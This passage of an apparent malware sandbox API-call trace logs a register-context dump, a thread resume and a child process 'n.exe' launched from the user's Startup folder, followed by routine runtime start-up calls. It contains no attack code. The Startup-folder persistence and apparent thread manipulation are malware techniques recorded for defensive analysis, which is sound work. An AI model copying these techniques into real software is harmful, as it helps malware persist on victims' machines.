[20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x3eed380, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0146.253] ResumeThread (hThread=0x1b0) returned 0x1 [0146.253] ExitProcess (uExitCode=0x0) [0146.348] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d07d0 | out: hHeap=0x3d0000) returned 1 Thread: id = 208 os_tid = 0x680 Thread: id = 325 os_tid = 0x690 Process: id = "19" image_name = "n.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x232c8000" os_pid = "0x504" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x3a4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 149 os_tid = 0x508 [0126.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xcfc53980, dwHighDateTime=0x1d595b2)) [0126.282] GetCurrentProcessId () returned 0x504 [0126.282] GetCurrentThreadId () returned 0x508 [0126.282] GetTickCount () returned 0x113510d [0126.283] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=9113442138) returned 1 [0127.111] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0127.111] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3d0000 [0127.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.113] GetProcAddress (hModule=0x762e0000, lpProcName="FlsAlloc") returned 0x762f4f2b [0127.113] GetProcAddress (hModule=0x762e0000, lpProcName="FlsGetValue") returned 0x762f1252 [0127.113] GetProcAddress (hModule=0x762e0000, lpProcName="FlsSetValue") returned 0x762f4208 [0127.113] GetProcAddress (hModule=0x762e0000, lpProcName="FlsFree") returned 0x762f359f [0127.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.113] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.114] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.114] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.114] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.114] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.115] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.115] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.116] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.116] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.116] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.117] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x214) returned 0x3d07d0 [0127.117] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.117] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.117] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0127.117] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0127.117] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0127.117] GetCurrentThreadId () returned 0x508 [0127.118] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0127.118] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x800) returned 0x3d09f0 [0127.118] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0127.118] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0127.118] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0127.118] SetHandleCount (uNumber=0x20) returned 0x20 [0127.118] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" " [0127.118] GetEnvironmentStringsW () returned 0x279468* [0127.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0127.118] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x581) returned 0x3d11f8 [0127.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x3d11f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0127.118] FreeEnvironmentStringsW (penv=0x279468) returned 1 [0127.118] GetLastError () returned 0x0 [0127.118] SetLastError (dwErrCode=0x0) [0127.118] GetLastError () returned 0x0 [0127.118] SetLastError (dwErrCode=0x0) [0127.118] GetLastError () returned 0x0 [0127.118] SetLastError (dwErrCode=0x0) [0127.118] GetACP () returned 0x4e4 [0127.118] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x220) returned 0x3d1788 [0127.118] GetLastError () returned 0x0 [0127.118] SetLastError (dwErrCode=0x0) [0127.119] IsValidCodePage (CodePage=0x4e4) returned 1 [0127.119] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0127.119] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0127.119] GetLastError () returned 0x0 [0127.119] SetLastError (dwErrCode=0x0) [0127.119] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0127.119] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0127.119] GetLastError () returned 0x0 [0127.119] SetLastError (dwErrCode=0x0) [0127.119] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ") returned 256 [0127.119] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0127.119] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0127.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x03\x14/Ð\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0127.119] GetLastError () returned 0x0 [0127.119] SetLastError (dwErrCode=0x0) [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0127.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ") returned 256 [0127.119] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㸈ᒿ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0127.119] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 